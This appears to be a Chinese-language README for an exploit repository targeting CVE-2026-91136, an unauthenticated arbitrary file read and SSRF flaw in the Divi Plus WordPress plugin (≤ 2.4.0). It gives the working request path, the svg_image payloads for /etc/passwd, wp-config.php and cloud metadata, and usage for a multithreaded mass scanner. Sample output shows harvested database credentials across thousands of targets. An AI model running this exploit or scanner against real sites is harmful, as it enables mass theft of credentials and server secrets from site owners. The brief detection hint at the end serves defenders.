Divi Plus (Elicus) — WordPress 插件 ≤ 2.4.0 — 通过 elicus/v1 REST 命名空间的 svg_image 参数实现未授权任意文件读取。
| 属性 | 详情 |
|---|---|
| CVE ID | CVE-2026-91136 |
| 利用链 | svg_image → file_get_contents()(回退 wp_remote_get)→ JSON html |
| 严重程度 | 🟠 高危 (CVSS 7.5) |
| 目标 | Divi Plus (Divi Extended / Elicus) |
| 受影响版本 | ≤ 2.4.0 |
| 修复版本 | 2.4.1 |
| 所需认证 | 无 |
SVGAnimatorController::index_permission 无条件返回 true,因此无需认证即可访问 /wp-json/elicus/v1/dipl-modules/svg-animator 端点。svg_image 输入仅经过 sanitize_text_field() 和 esc_html() 处理——这些函数并不限制文件系统路径、file:// 流包装器或远程 URL——随后被传递给 file_get_contents()(带有 wp_remote_get() 回退)。原始响应体被返回在 JSON 的 html 字段中。
GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
│
▼
index_permission() = true (no auth)
│
▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
│
▼
file_get_contents() -> fallback wp_remote_get()
│
▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}
影响:读取 /etc/passwd、wp-config.php(数据库凭据 + 认证盐值)、
通过 SSRF 访问云元数据(169.254.169.254 / GCP / Azure / DO / OCI)、.env
以及 Web 用户可读取的任何其他文件。
# single target
python CVE-2026-91136.py -u https://target.com
# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results
# interactive (banner -> targets -> threads)
python CVE-2026-91136.py
| 选项 | 描述 |
|---|---|
-u/--url URL | 单个目标 |
-i/--input FILE | 目标文件,每行一个(允许 # 注释) |
-t/--threads N | 线程数(省略时交互式询问) |
--timeout N | 请求超时(默认 12) |
-q/--quiet | 仅显示命中项;其余内容进入内联计数器 |
-v/--verbose | 每个目标显示一行 |
-o/--output FILE | 将结果写入 JSONL + FILE.hits.txt |
[OK] https://target.com ✓ 1 ✗ 0
passwd: root:x:0:0:root:/root:/bin/bash
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
wp-config: /var/www/html/wp-config.php
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
DB_NAME=wordpress
DB_USER=wp_user
DB_PASSWORD=***
DB_HOST=localhost
✓ OK: 1 ✗ FAIL: 2979 total: 2980
[████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247results.hits.txt — 仅包含已确认存在漏洞的目标svg-animator 端点响应 + 通过 divi-plus 资源 ?ver= 获取版本wp-config.php 发现:固定候选路径 + 从 /etc/passwd 解析出的真实 /home/<user>/ 目录├── CVE-2026-91136.py # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
GET/POST /wp-json/elicus/v1/dipl-modules/svg-animatorsvg_image 值是否包含 file://、/etc/ 或元数据 IP